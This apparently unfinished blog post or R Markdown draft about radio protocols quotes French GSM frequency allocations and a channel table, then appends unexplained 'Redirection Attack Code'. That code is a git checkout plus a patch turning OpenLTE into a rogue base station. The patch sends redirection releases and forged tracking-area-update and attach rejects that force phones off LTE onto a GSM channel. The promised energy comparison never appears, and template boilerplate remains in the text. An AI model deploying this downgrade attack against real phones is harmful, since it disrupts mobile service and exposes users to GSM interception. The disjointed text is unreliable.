Radio-Frequencies Protocols Versus Energy

2022-10-26

## Radio-Frequencies Protocols

A protocol is for computing (quoted from Oxford langage): “A set of rules governing the exchange or transmission of data between devices.” <https://www.oed.com/>.

The goal like it is said is to make travel information from A->B, and (maybe) then B->A etcaetera. This information has a weight and it has to move so : energy is spent, at least F(A->B). Another goals came obviously from the first depending on the case of use : spending the less energy possible, have the maximum range, transmit the most data possible, have the best yield, and be the most secure possible (I mean by that, that it can’t be understood by a machine or an human on an undesired endpoint in a reasonable time at least at the time of conception and from the projected advances in technology), there are also another important points the latency, and the errors between the message sent and received.

We will begin by enumerate some radio protocols, begin by saying their purpose. Then we gonna try to classify theses protocols by energy, data (raw and useful payload), power, range, frequencies and yield, security, latency, and error.

Beginning by telephony :

## SFR:

**Article 1**

– The French Radiotelephone Company is authorized to use, in the 900 and 1800 MHz bands, the frequencies allocated to it in Article 2 of this decision to establish and operate a radio network open to the public in metropolitan France. For this, it complies with the provisions of the specifications located in appendix 2 of this decision.

**Article 2**

– The GSM channels allocated to the French Radiotelephone Company are, in accordance with the definitions in appendix 1:

* in the 900 MHz band, throughout mainland France: channels 75 to 124;
* in the 900 MHz band, only in very dense areas: channels 63 to 74;
* in the 1800 MHz band, throughout mainland France: channels 512 to 525 and 647 to 751

You can also embed plots, for example:



Note that the echo = FALSE parameter was added to the code chunk to prevent printing of the R code that generated the plot.

## # A tibble: 3 × 3  
## Operator GSM900 DCS1800   
## <chr> <chr> <chr>   
## 1 Orange 1→62 527→645   
## 2 SFR (63→74)\* and 75→124 512→525 and 647→751  
## 3 Bouygues 975→1023 752→885

## Appendix

Redirection Attack Code

#!/bin/bash  
git clone git://git.code.sf.net/p/openlte/code openlte-code  
cd openlte-code  
git checkout a5a66e

--- openlte\_v00-20-05/liblte/src/liblte\_rrc.cc 2016-10-09 22:17:50.000000000 +0200  
+++ openlte\_v00-20-05/liblte/src/liblte\_rrc.cc 2022-01-25 17:14:32.613323868 +0100  
@@ -11698,13 +11698,28 @@  
 liblte\_value\_2\_bits(0, &msg\_ptr, 2);  
   
 // Optional indicators  
- liblte\_value\_2\_bits(0, &msg\_ptr, 1);  
+ liblte\_value\_2\_bits(1, &msg\_ptr, 1);  
 liblte\_value\_2\_bits(0, &msg\_ptr, 1);  
 liblte\_value\_2\_bits(0, &msg\_ptr, 1);  
   
 // Release cause  
 liblte\_value\_2\_bits(con\_release->release\_cause, &msg\_ptr, 2);  
   
+// redirectedcarrierinfo  
+// geran // choice  
+liblte\_value\_2\_bits(1, &msg\_ptr, 4);  
+// arfcn no.  
+liblte\_value\_2\_bits(514, &msg\_ptr, 10);  
+// dcs1800  
+liblte\_value\_2\_bits(0, &msg\_ptr, 1);  
+// Choice of following ARFCN  
+liblte\_value\_2\_bits(0, &msg\_ptr, 2);  
+// explicit list  
+liblte\_value\_2\_bits(1, &msg\_ptr, 5);  
+// arfcn no.  
+liblte\_value\_2\_bits(514, &msg\_ptr, 10);  
+// Note that total bits should be octet aligned,  
+// if not, pad it with zeros.  
 // Fill in the number of bits used  
 msg->N\_bits = msg\_ptr - msg->msg;  
   
--- openlte\_v00-20-05/LTE\_fdd\_enodeb/hdr/LTE\_fdd\_enb\_mme.h 2017-07-29 21:58:37.000000000 +0200  
+++ openlte\_v00-20-05/LTE\_fdd\_enodeb/hdr/LTE\_fdd\_enb\_mme.h 2022-01-25 16:49:13.365515919 +0100  
@@ -106,6 +106,7 @@  
 // Message Parsers  
 void parse\_attach\_complete(LIBLTE\_BYTE\_MSG\_STRUCT \*msg, LTE\_fdd\_enb\_user \*user, LTE\_fdd\_enb\_rb \*rb);  
 void parse\_attach\_request(LIBLTE\_BYTE\_MSG\_STRUCT \*msg, LTE\_fdd\_enb\_user \*\*user, LTE\_fdd\_enb\_rb \*\*rb);  
+ void send\_tracking\_area\_update\_request(LIBLTE\_BYTE\_MSG\_STRUCT \*msg, LTE\_fdd\_enb\_user \*\*user, LTE\_fdd\_enb\_rb \*\*rb);  
 void parse\_authentication\_failure(LIBLTE\_BYTE\_MSG\_STRUCT \*msg, LTE\_fdd\_enb\_user \*user, LTE\_fdd\_enb\_rb \*rb);  
 void parse\_authentication\_response(LIBLTE\_BYTE\_MSG\_STRUCT \*msg, LTE\_fdd\_enb\_user \*user, LTE\_fdd\_enb\_rb \*rb);  
 void parse\_detach\_request(LIBLTE\_BYTE\_MSG\_STRUCT \*msg, LTE\_fdd\_enb\_user \*user, LTE\_fdd\_enb\_rb \*rb);  
@@ -125,6 +126,8 @@  
 // Message Senders  
 void send\_attach\_accept(LTE\_fdd\_enb\_user \*user, LTE\_fdd\_enb\_rb \*rb);  
 void send\_attach\_reject(LTE\_fdd\_enb\_user \*user, LTE\_fdd\_enb\_rb \*rb);  
+ void send\_tracking\_area\_update\_request(LTE\_fdd\_enb\_user \*user, LTE\_fdd\_enb\_rb \*rb);  
+ void send\_tracking\_area\_update\_reject(LTE\_fdd\_enb\_user \*user, LTE\_fdd\_enb\_rb \*rb);  
 void send\_authentication\_reject(LTE\_fdd\_enb\_user \*user, LTE\_fdd\_enb\_rb \*rb);  
 void send\_authentication\_request(LTE\_fdd\_enb\_user \*user, LTE\_fdd\_enb\_rb \*rb);  
 void send\_detach\_accept(LTE\_fdd\_enb\_user \*user, LTE\_fdd\_enb\_rb \*rb);  
--- openlte\_v00-20-05/LTE\_fdd\_enodeb/hdr/LTE\_fdd\_enb\_rb.h 2017-07-29 22:03:51.000000000 +0200  
+++ openlte\_v00-20-05/LTE\_fdd\_enodeb/hdr/LTE\_fdd\_enb\_rb.h 2022-01-25 16:49:13.365515919 +0100  
@@ -99,18 +99,21 @@  
 typedef enum{  
 LTE\_FDD\_ENB\_MME\_PROC\_IDLE = 0,  
 LTE\_FDD\_ENB\_MME\_PROC\_ATTACH,  
+ LTE\_FDD\_ENB\_MME\_PROC\_TAU\_REQUEST,  
 LTE\_FDD\_ENB\_MME\_PROC\_SERVICE\_REQUEST,  
 LTE\_FDD\_ENB\_MME\_PROC\_DETACH,  
 LTE\_FDD\_ENB\_MME\_PROC\_N\_ITEMS,  
 }LTE\_FDD\_ENB\_MME\_PROC\_ENUM;  
 static const char LTE\_fdd\_enb\_mme\_proc\_text[LTE\_FDD\_ENB\_MME\_PROC\_N\_ITEMS][100] = {"IDLE",  
 "ATTACH",  
+ "TAU REQUEST",  
 "SERVICE REQUEST",  
 "DETACH"};  
   
 typedef enum{  
 LTE\_FDD\_ENB\_MME\_STATE\_IDLE = 0,  
 LTE\_FDD\_ENB\_MME\_STATE\_ID\_REQUEST\_IMSI,  
+LTE\_FDD\_ENB\_MME\_STATE\_TAU\_REJECT,  
 LTE\_FDD\_ENB\_MME\_STATE\_REJECT,  
 LTE\_FDD\_ENB\_MME\_STATE\_AUTHENTICATE,  
 LTE\_FDD\_ENB\_MME\_STATE\_AUTH\_REJECTED,  
@@ -126,7 +129,7 @@  
 }LTE\_FDD\_ENB\_MME\_STATE\_ENUM;  
 static const char LTE\_fdd\_enb\_mme\_state\_text[LTE\_FDD\_ENB\_MME\_STATE\_N\_ITEMS][100] = {"IDLE",  
 "ID REQUEST IMSI",  
- "REJECT",  
+ "REJECT",  
 "AUTHENTICATE",  
 "AUTH REJECTED",  
 "ENABLE SECURITY",  
--- openlte\_v00-20-05/LTE\_fdd\_enodeb/src/LTE\_fdd\_enb\_mme.cc 2017-07-29 22:15:50.000000000 +0200  
+++ openlte\_v00-20-05/LTE\_fdd\_enodeb/src/LTE\_fdd\_enb\_mme.cc 2022-01-25 17:07:55.380027792 +0100  
@@ -204,6 +204,10 @@  
 case LIBLTE\_MME\_MSG\_TYPE\_ATTACH\_REQUEST:  
 parse\_attach\_request(msg, &nas\_msg->user, &nas\_msg->rb);  
 break;  
+ case LTE\_FDD\_ENB\_MME\_PROC\_TAU\_REQUEST:  
+ send\_tracking\_area\_update\_request(msg, &nas\_msg->user, &nas\_msg->rb);  
+ break;  
+  
 case LIBLTE\_MME\_MSG\_TYPE\_AUTHENTICATION\_FAILURE:  
 parse\_authentication\_failure(msg, nas\_msg->user, nas\_msg->rb);  
 break;  
@@ -655,6 +659,16 @@  
 }  
 }  
 }  
+void LTE\_fdd\_enb\_mme::send\_tracking\_area\_update\_request(LIBLTE\_BYTE\_MSG\_STRUCT \*msg,  
+ LTE\_fdd\_enb\_user \*\*user,  
+ LTE\_fdd\_enb\_rb \*\*rb)  
+  
+{  
+ // Set the procedure  
+  
+(\*rb) -> set\_mme\_procedure(LTE\_FDD\_ENB\_MME\_PROC\_TAU\_REQUEST);  
+(\*rb) -> set\_mme\_state(LTE\_FDD\_ENB\_MME\_STATE\_TAU\_REJECT);}  
+  
 void LTE\_fdd\_enb\_mme::parse\_authentication\_failure(LIBLTE\_BYTE\_MSG\_STRUCT \*msg,  
 LTE\_fdd\_enb\_user \*user,  
 LTE\_fdd\_enb\_rb \*rb)  
@@ -864,7 +878,7 @@  
 rb->set\_mme\_state(LTE\_FDD\_ENB\_MME\_STATE\_AUTHENTICATE);  
 user->set\_id(hss->get\_user\_id\_from\_imei(imei\_num));  
 }else{  
- user->set\_emm\_cause(LIBLTE\_MME\_EMM\_CAUSE\_UE\_SECURITY\_CAPABILITIES\_MISMATCH);  
+ user->set\_emm\_cause(LIBLTE\_MME\_EMM\_CAUSE\_UE\_IDENTITY\_CANNOT\_BE\_DERIVED\_BY\_THE\_NETWORK);  
 rb->set\_mme\_state(LTE\_FDD\_ENB\_MME\_STATE\_REJECT);  
 }  
 }else{  
@@ -1195,6 +1209,9 @@  
 user->prepare\_for\_deletion();  
 send\_attach\_reject(user, rb);  
 break;  
+ case LTE\_FDD\_ENB\_MME\_STATE\_TAU\_REJECT:  
+ send\_tracking\_area\_update\_reject(user, rb);  
+break;  
 case LTE\_FDD\_ENB\_MME\_STATE\_AUTHENTICATE:  
 send\_authentication\_request(user, rb);  
 break;  
@@ -1397,6 +1414,52 @@  
 (LTE\_FDD\_ENB\_MESSAGE\_UNION \*)&cmd\_ready,  
 sizeof(LTE\_FDD\_ENB\_RRC\_CMD\_READY\_MSG\_STRUCT));  
 }  
+  
+  
+  
+  
+void LTE\_fdd\_enb\_mme::send\_tracking\_area\_update\_reject(LTE\_fdd\_enb\_user \*user,  
+ LTE\_fdd\_enb\_rb \*rb)  
+{  
+ LTE\_FDD\_ENB\_RRC\_NAS\_MSG\_READY\_MSG\_STRUCT nas\_msg\_ready;  
+ LIBLTE\_MME\_TRACKING\_AREA\_UPDATE\_REJECT\_MSG\_STRUCT ta\_update\_rej;  
+ LIBLTE\_BYTE\_MSG\_STRUCT msg;  
+ ta\_update\_rej.emm\_cause = user->get\_emm\_cause();  
+ ta\_update\_rej.t3446\_present = false;  
+ liblte\_mme\_pack\_tracking\_area\_update\_reject\_msg(  
+ &ta\_update\_rej,  
+ LIBLTE\_MME\_SECURITY\_HDR\_TYPE\_PLAIN\_NAS,  
+ user->get\_auth\_vec()->k\_nas\_int,  
+ user->get\_auth\_vec()->nas\_count\_dl,  
+ LIBLTE\_SECURITY\_DIRECTION\_DOWNLINK,  
+ &msg);  
+ // Queue the NAS message for RRC  
+ rb->queue\_rrc\_nas\_msg(&msg);  
+  
+ // Signal RRC for NAS message  
+ nas\_msg\_ready.user = user;  
+ nas\_msg\_ready.rb = rb;  
+ msgq\_to\_rrc->send(LTE\_FDD\_ENB\_MESSAGE\_TYPE\_RRC\_NAS\_MSG\_READY,  
+ LTE\_FDD\_ENB\_DEST\_LAYER\_RRC,  
+ (LTE\_FDD\_ENB\_MESSAGE\_UNION \*)&nas\_msg\_ready,  
+ sizeof(LTE\_FDD\_ENB\_RRC\_NAS\_MSG\_READY\_MSG\_STRUCT));  
+  
+ send\_rrc\_command(user, rb, LTE\_FDD\_ENB\_RRC\_CMD\_RELEASE);  
+// Unpack the message  
+ liblte\_mme\_unpack\_tracking\_area\_update\_reject\_msg(&msg, &ta\_update\_rej);  
+  
+ interface->send\_ctrl\_info\_msg("user fully attached imsi=%s imei=%s",  
+ user->get\_imsi\_str().c\_str(),  
+ user->get\_imei\_str().c\_str());  
+  
+ rb->set\_mme\_state(LTE\_FDD\_ENB\_MME\_STATE\_ATTACHED);  
+}  
+  
+  
+  
+  
+  
+  
 void LTE\_fdd\_enb\_mme::send\_attach\_reject(LTE\_fdd\_enb\_user \*user,  
 LTE\_fdd\_enb\_rb \*rb)  
 {  
@@ -1412,7 +1475,7 @@  
 imsi\_num = user->get\_temp\_id();  
 }  
   
- attach\_rej.emm\_cause = user->get\_emm\_cause();  
+ attach\_rej.emm\_cause = 2;  
 attach\_rej.esm\_msg\_present = false;  
 attach\_rej.t3446\_value\_present = false;  
 liblte\_mme\_pack\_attach\_reject\_msg(&attach\_rej, &msg);  
  
--- openlte\_v00-20-05/LTE\_fdd\_enodeb/src/LTE\_fdd\_enb\_radio.cc 2017-07-29 22:18:34.000000000 +0200  
+++ openlte\_v00-20-05/LTE\_fdd\_enodeb/src/LTE\_fdd\_enb\_radio.cc 2022-01-25 17:09:37.116388236 +0100  
@@ -229,7 +229,7 @@  
 try  
 {  
 // Setup the USRP  
- if(devs[idx-1]["type"] == "x300")  
+ if(devs[idx-1]["type"] == "soapy")  
 {  
 devs[idx-1]["master\_clock\_rate"] = "184320000";  
 master\_clock\_set = true;  
@@ -252,7 +252,6 @@  
 usrp->set\_rx\_freq((double)liblte\_interface\_ul\_earfcn\_to\_frequency(ul\_earfcn));  
 usrp->set\_tx\_gain(tx\_gain);  
 usrp->set\_rx\_gain(rx\_gain);  
-  
 // Setup the TX and RX streams  
 tx\_stream = usrp->get\_tx\_stream(stream\_args);  
 rx\_stream = usrp->get\_rx\_stream(stream\_args);  
@@ -822,7 +821,7 @@  
 buffer\_size = 1024;  
 }  
 status = bladerf\_sync\_config(bladerf,  
- BLADERF\_MODULE\_TX,  
+ BLADERF\_TX\_X1,  
 BLADERF\_FORMAT\_SC16\_Q11\_META,  
 BLADERF\_NUM\_BUFFERS,  
 buffer\_size,  
@@ -842,7 +841,7 @@  
   
 // Setup sync RX  
 status = bladerf\_sync\_config(bladerf,  
- BLADERF\_MODULE\_RX,  
+ BLADERF\_RX\_X1,  
 BLADERF\_FORMAT\_SC16\_Q11\_META,  
 BLADERF\_NUM\_BUFFERS,  
 buffer\_size,  
@@ -974,7 +973,7 @@  
 if(radio\_params->init\_needed)  
 {  
 // Assume RX\_timestamp and TX\_timestamp difference is 0  
- bladerf\_get\_timestamp(bladerf, BLADERF\_MODULE\_RX, (uint64\_t\*)&rx\_ts);  
+ bladerf\_get\_timestamp(bladerf, BLADERF\_RX, (uint64\_t\*)&rx\_ts);  
 next\_tx\_ts = rx\_ts + radio\_params->samp\_rate; // 1 second to make sure everything is setup  
 metadata\_rx.flags = 0;  
 metadata\_rx.timestamp = next\_tx\_ts - (radio\_params->N\_samps\_per\_subfr\*2); // Retard RX by 2 subframes

Paul Champsaur, République Française. jan 31 2006. *Autorité de Régulation Des Communications Électroniques Et Des Postes Décision n° 06-0140 de l’autorité de Régulation Des Communications Électroniques Et Des Postes En Date Du 31 Janvier 2006 Autorisant La Société Française Du Radiotéléphone à Utiliser Des Fréquences Dans Les Bandes 900 MHz Et 1800 MHz Pour Établir Et Exploiter Un Réseau Radioélectrique Ouvert Au Public*. France: Autorité de régulation des communications électroniques et des postes. <https://www.arcep.fr/uploads/tx_gsavis/06-0140.pdf>.

République Française. oct 26 2010. *Les Allocations de Spectre En France, Dans Les Fréquences GSM Et UMTS, Aux Différents Opérateurs*. France: Autorité de régulation des communications électroniques et des postes. <https://www.arcep.fr/fileadmin/reprise/dossiers/mobile/attributions-frequences-operateurs-metropole-260410.pdf>.